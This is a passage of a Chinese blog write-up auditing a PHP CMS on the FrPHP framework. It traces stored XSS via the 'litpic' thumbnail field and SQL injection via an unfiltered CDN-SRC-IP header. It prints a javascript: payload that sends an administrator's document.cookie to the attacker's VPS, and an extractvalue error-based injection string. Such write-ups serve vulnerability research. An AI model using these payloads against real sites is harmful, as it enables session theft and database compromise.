id="第二处存储型xss(只能打管理员cookie)"><a href="#第二处存储型xss(只能打管理员cookie)" class="headerlink" title="第二处存储型xss(只能打管理员cookie)"></a>第二处存储型xss(只能打管理员cookie)</h2><p><code>/Home/c/UserController.php</code>中<code>release()</code>方法的大约第1066行开始,这里的截取了部分关键代码,如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">switch</span>($w[<span class="string">'molds'</span>]){</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'article'</span>:</span><br><span class="line"> <span class="keyword">if</span>(!$data[<span class="string">'body'</span>]){</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line"> JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'内容不能为空!'</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> Error(<span class="string">'内容不能为空!'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(!$data[<span class="string">'title'</span>]){</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line"> JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'标题不能为空!'</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> Error(<span class="string">'标题不能为空!'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> $data[<span class="string">'body'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'body'</span>,<span class="number">4</span>);</span><br><span class="line"> $w[<span class="string">'title'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'title'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'seo_title'</span>] = $w[<span class="string">'title'</span>];</span><br><span class="line"> $w[<span class="string">'keywords'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'keywords'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'body'</span>] = $data[<span class="string">'body'</span>];</span><br><span class="line"> $w[<span class="string">'description'</span>] = newstr(strip_tags($data[<span class="string">'body'</span>]),<span class="number">200</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'product'</span>:</span><br><span class="line"> <span class="keyword">if</span>(!$data[<span class="string">'body'</span>]){</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line"> JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'内容不能为空!'</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> Error(<span class="string">'内容不能为空!'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(!$data[<span class="string">'title'</span>]){</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line"> JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'标题不能为空!'</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> Error(<span class="string">'标题不能为空!'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> $w[<span class="string">'title'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'title'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'seo_title'</span>] = $w[<span class="string">'title'</span>];</span><br><span class="line"> $w[<span class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'keywords'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'keywords'</span>,<span class="number">1</span>);</span><br><span class="line"> $w[<span class="string">'pictures'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'pictures'</span>,<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'pictures_urls'</span>,<span class="number">2</span>)){</span><br><span class="line"> $w[<span class="string">'pictures'</span>] = implode(<span class="string">'||'</span>,<span class="keyword">$this</span>->frparam(<span class="string">'pictures_urls'</span>,<span class="number">2</span>));</span><br><span class="line"> }</span><br><span class="line"> $data[<span class="string">'body'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'body'</span>,<span class="number">4</span>);</span><br><span class="line"> $w[<span class="string">'body'</span>] = $data[<span class="string">'body'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'description'</span>,<span class="number">1</span>)){</span><br><span class="line"> $w[<span class="string">'description'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'description'</span>,<span class="number">1</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $w[<span class="string">'description'</span>] = newstr(strip_tags($data[<span class="string">'body'</span>]),<span class="number">200</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>因为上面我们已经介绍过了<code>frparam</code>函数,所以这里不再重复</p><p>第22行<code>$w['litpic'] = $this->frparam('litpic',1);</code></p><p>因为我本地并没有配置<code>get_magic_quotes_gpc</code>,所以这里只是对输入的内容进行了<code>htmlspecialchars</code>和<code>addslashes</code>处理,然后我们再看最后的落点,也就是在<code>/A/t/tpl/article-list.html</code>模版这里进行填充数据</p><p><code>/A/t/tpl/article-list.html</code>关键代码大约在文件的第147行至第153行,如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">type</span>=<span class="string">"text/html"</span> <span class="attr">id</span>=<span class="string">"litpic"</span>></span><span class="undefined"></span></span><br><span class="line"><span class="undefined">{{# if(!d.litpic){ }}</span></span><br><span class="line"><span class="undefined">无</span></span><br><span class="line"><span class="undefined"> {{# } else{ }}</span></span><br><span class="line"><span class="javascript"> <a href=<span class="string">"{{d.litpic}}"</span> target=<span class="string">"_blank"</span>><span class="xml"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"{{d.litpic}}"</span> <span class="attr">width</span>=<span class="string">"100px"</span> /></span><span class="tag"></<span class="name">a</span>></span></span></span></span><br><span class="line"><span class="undefined"> {{# } }}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><p>在上述关键代码的第5行就是填充的数据</p><p>所以我们构造payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie</span><br></pre></td></tr></table></figure><p>然后我们只需要发布一篇新文章,然后修改<code>litpic</code>字段即可</p><p><img src="http://images.xianyu123.club/20200521135256.png" alt="image-20200521135256043"></p><p><img src="http://images.xianyu123.club/20200521140852.png" alt="image-20200521140852395"></p><p>然后在后台网站管理——内容列表中</p><p><img src="http://images.xianyu123.club/20200521140118.png" alt="image-20200521140118709"></p><p>当管理员点开这个缩略图的时候,就可以得到管理员的cookie</p><p><img src="http://images.xianyu123.club/20200521140935.png" alt="image-20200521140935710"></p><h2 id="第三处存储型xss(只能打管理员cookie)"><a href="#第三处存储型xss(只能打管理员cookie)" class="headerlink" title="第三处存储型xss(只能打管理员cookie)"></a>第三处存储型xss(只能打管理员cookie)</h2><p>在<code>/Home/c/UserController.php</code>中的<code>userinfo()</code>方法,大约第129行,关键代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">userinfo</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">$this</span>->checklogin();</span><br><span class="line"><span class="keyword">if</span>($_POST){</span><br><span class="line">$w = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$w[<span class="string">'tel'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tel'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'pass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'password'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'sex'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'sex'</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">$w[<span class="string">'repass'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'repassword'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'username'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'username'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'email'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'email'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'litpic'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'litpic'</span>,<span class="number">1</span>);</span><br><span class="line">$w[<span class="string">'signature'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'signature'</span>,<span class="number">1</span>);</span><br><span class="line"> </span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>在上述代码的第11行,同样也是因为缩略图的问题,被加载在了<code>/A/t/tpl/member-list.html</code>中的第115行</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">,cols: [[ //表头</span><br><span class="line"> {field: 'id', title: 'ID', width:50, sort: true, fixed:'left'}</span><br><span class="line"> ,{type:'checkbox'}</span><br><span class="line"> ,{field: 'isshow', title: '状态',width: 100,templet:'#isshow'}</span><br><span class="line"> ,{field: 'username', title: '用户名',width: 150, sort: true}</span><br><span class="line"> ,{field: 'new_gid', title: '分组',width:150}</span><br><span class="line"> ,{field: 'tel', title: '手机号',width:200, sort: true}</span><br><span class="line"> ,{field: 'email', title: '邮箱',width:150, sort: true}</span><br><span class="line"> ,{field: 'new_litpic', title: '头像',width:150} </span><br><span class="line"> ,{field: 'jifen', title: '积分',width:150} </span><br><span class="line"> ,{field: 'money', title: '余额',width:150} </span><br><span class="line"> {foreach $fields_list as $v},{field: '{$v['field']}',width:150, title: '{$v['fieldname']}'}{/foreach}</span><br><span class="line"> </span><br><span class="line"> ,{field: 'new_regtime', title: '加入时间',width:160}</span><br><span class="line"> ,{field: 'new_logintime', title: '登录时间',width:160}</span><br><span class="line"> {if(checkAction('Member/memberedit') || checkAction('Member/member_del'))}</span><br><span class="line"> ,{field: '', title: '操作',width:260, toolbar: '#rightbar', fixed:'right'}</span><br><span class="line"> {/if}</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200521163150.png" alt="image-20200521163150807"></p><p>这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗<br><img src="http://images.xianyu123.club/20200521163200.png" alt="image-20200521163200869"></p><h1 id="sql注入"><a href="#sql注入" class="headerlink" title="sql注入"></a>sql注入</h1><h2 id="第一处sql注入"><a href="#第一处sql注入" class="headerlink" title="第一处sql注入"></a>第一处sql注入</h2><p><code>/Home/c/MessageController.php</code>中的index方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">index</span><span class="params">()</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($_POST){</span><br><span class="line"></span><br><span class="line">$w = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$w = get_fields_data($w,<span class="string">'message'</span>,<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">$w[<span class="string">'body'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'body'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'user'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'user'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'tel'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tel'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'aid'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'aid'</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'tid'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tid'</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="string">'POST'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->webconf[<span class="string">'autocheckmessage'</span>]==<span class="number">1</span>){</span><br><span class="line">$w[<span class="string">'isshow'</span>] = <span class="number">1</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$w[<span class="string">'isshow'</span>] = <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$w[<span class="string">'ip'</span>] = GetIP();</span><br><span class="line">$w[<span class="string">'addtime'</span>] = time();</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_SESSION[<span class="string">'member'</span>])){</span><br><span class="line">$w[<span class="string">'userid'</span>] = $_SESSION[<span class="string">'member'</span>][<span class="string">'id'</span>];</span><br><span class="line">}</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>这里第20行<code>$w['ip'] = GetIP();</code>,然后我们回溯,去找到<code>GetIP()</code>函数</p><p><code>/FrPHP/common/Functions.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">GetIP</span><span class="params">()</span></span>{ </span><br><span class="line"> <span class="keyword">static</span> $ip = <span class="string">''</span>;</span><br><span class="line"> $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>]) && preg_match(<span class="string">'/^([0-9]{1,3}\.){3}[0-9]{1,3}$/'</span>, $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>]) <span class="keyword">AND</span> preg_match_all(<span class="string">'#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s'</span>, $_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>], $matches)) {</span><br><span class="line"> <span class="keyword">foreach</span> ($matches[<span class="number">0</span>] <span class="keyword">AS</span> $xip) {</span><br><span class="line"> <span class="keyword">if</span> (!preg_match(<span class="string">'#^(10|172\.16|192\.168)\.#'</span>, $xip)) {</span><br><span class="line"> $ip = $xip;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $ip;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里第5行并没有对<code>$_SERVER['HTTP_CDN_SRC_IP']</code>进行过滤,我们只需要在http头中传入<code>CDN-SRC-IP</code>字段即可</p><p>我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。</p><p>然后我们继续跟进,在<code>/Home/c/MessageController.php</code>中的第76行<code>$res = M('message')->add($w);</code>,这个<code>add</code>方法是<code>Frphp</code>框架的一个插入数据表的方法</p><p><code>/FrPHP/lib/Model.php</code>中的add方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 新增数据</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">($row)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span>(!is_array($row))<span class="keyword">return</span> <span class="keyword">FALSE</span>;</span><br><span class="line">$row = <span class="keyword">$this</span>->__prepera_format($row);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>($row))<span class="keyword">return</span> <span class="keyword">FALSE</span>;</span><br><span class="line"><span class="keyword">foreach</span>($row <span class="keyword">as</span> $key => $value){</span><br><span class="line"><span class="keyword">if</span>($value!==<span class="keyword">null</span>){</span><br><span class="line">$cols[] = $key;</span><br><span class="line">$vals[] = <span class="string">'\''</span>.$value.<span class="string">'\''</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">$col = join(<span class="string">','</span>, $cols);</span><br><span class="line">$val = join(<span class="string">','</span>, $vals);</span><br><span class="line">$table = <span class="keyword">self</span>::$table;</span><br><span class="line">$sql = <span class="string">"INSERT INTO {$table} ({$col}) VALUES ({$val})"</span>;</span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">FALSE</span> != <span class="keyword">$this</span>->runSql($sql) ){</span><br><span class="line"><span class="keyword">if</span>( $newinserid = <span class="keyword">$this</span>->db->lastInsertId() ){</span><br><span class="line"><span class="keyword">return</span> $newinserid;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$a=<span class="keyword">$this</span>->find($row, <span class="string">"{$this->primary} DESC"</span>,<span class="keyword">$this</span>->primary);</span><br><span class="line"><span class="keyword">return</span> array_pop($a);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">FALSE</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>显然,第10行的<code>$value</code>我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入</p><p>查询当前用户payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200603134921.png" alt="image-20200603134921844"></p><h2 id="第二处sql注入"><a href="#第二处sql注入" class="headerlink" title="第二处sql注入"></a>第二处sql注入</h2><p><code>/Home/c/UserController.php</code>中的<code>release</code>方法中的关键代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//文章发布和修改</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">release</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->checklogin();</span><br><span class="line"> error_reporting(E_ALL^E_NOTICE);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($_POST){</span><br><span class="line"> $data = <span class="keyword">$this</span>->frparam();</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line">$w[<span class="string">'tid'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tid'</span>);</span><br><span class="line"> <span class="keyword">if</span>(!$w[<span class="string">'tid'</span>]){</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'ajax'</span>)){</span><br><span class="line"> JsonReturn([<span class="string">'code'</span>=><span class="number">1</span>,<span class="string">'msg'</span>=><span class="string">'请选择分类!'</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> Error(<span class="string">'请选择分类!'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> $w[<span class="string">'molds'</span>] = <span class="keyword">$this</span>->classtypedata[$w[<span class="string">'tid'</span>]][<span class="string">'molds'</span>];</span><br><span class="line"> $w = get_fields_data($data,$w[<span class="string">'molds'</span>]);</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line">........</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->frparam(<span class="string">'id'</span>)){</span><br><span class="line"> $a = M($w[<span class="string">'molds'</span>])->update([<span class="string">'id'</span>=><span class="keyword">$this</span>->frparam(<span class="string">'id'</span>)],$w);</span><br></pre></td></tr></table></figure><p>上述代码第7行<code>$data = $this->frparam()</code>,<code>frparam()</code>方法前面已经提过了,这里就不再累赘重复了</p><p>这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。</p><p>然后第11行代码<code>$w['tid'] = $this->frparam('tid');</code>,这里会接收参数名为<code>tid</code>的值,并且会进行<code>return (int)$value;</code>处理,这样传入<code>1'</code>就不行了,但是没关系,我们接着看第21行<code>$w = get_fields_data($data,$w['molds']);</code>,我们回溯一下<code>get_fields_data()</code>方法</p><p><code>/Conf/Functions.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_fields_data</span><span class="params">($data,$molds,$isadmin=<span class="number">1</span>)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>($isadmin){</span><br><span class="line"> $fields = M(<span class="string">'fields'</span>)->findAll([<span class="string">'molds'</span>=>$molds,<span class="string">'isadmin'</span>=><span class="number">1</span>],<span class="string">'orders desc,id asc'</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//前台需要判断是否前台显示</span></span><br><span class="line"> $fields = M(<span class="string">'fields'</span>)->findAll([<span class="string">'molds'</span>=>$molds,<span class="string">'isshow'</span>=><span class="number">1</span>],<span class="string">'orders desc,id asc'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span>($fields <span class="keyword">as</span> $v){</span><br><span class="line"> <span class="keyword">if</span>(array_key_exists($v[<span class="string">'field'</span>],$data)){</span><br><span class="line"> <span class="keyword">switch</span>($v[<span class="string">'fieldtype'</span>]){</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">9</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">12</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = format_param($data[$v[<span class="string">'field'</span>]],<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">11</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = strtotime(format_param($data[$v[<span class="string">'field'</span>]],<span class="number">1</span>));</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = format_param($data[$v[<span class="string">'field'</span>]],<span class="number">4</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">13</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = format_param($data[$v[<span class="string">'field'</span>]]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">14</span>:</span><br><span class="line"> $data[$v[<span class="string">'field'</span>]] = format_param($data[$v[<span 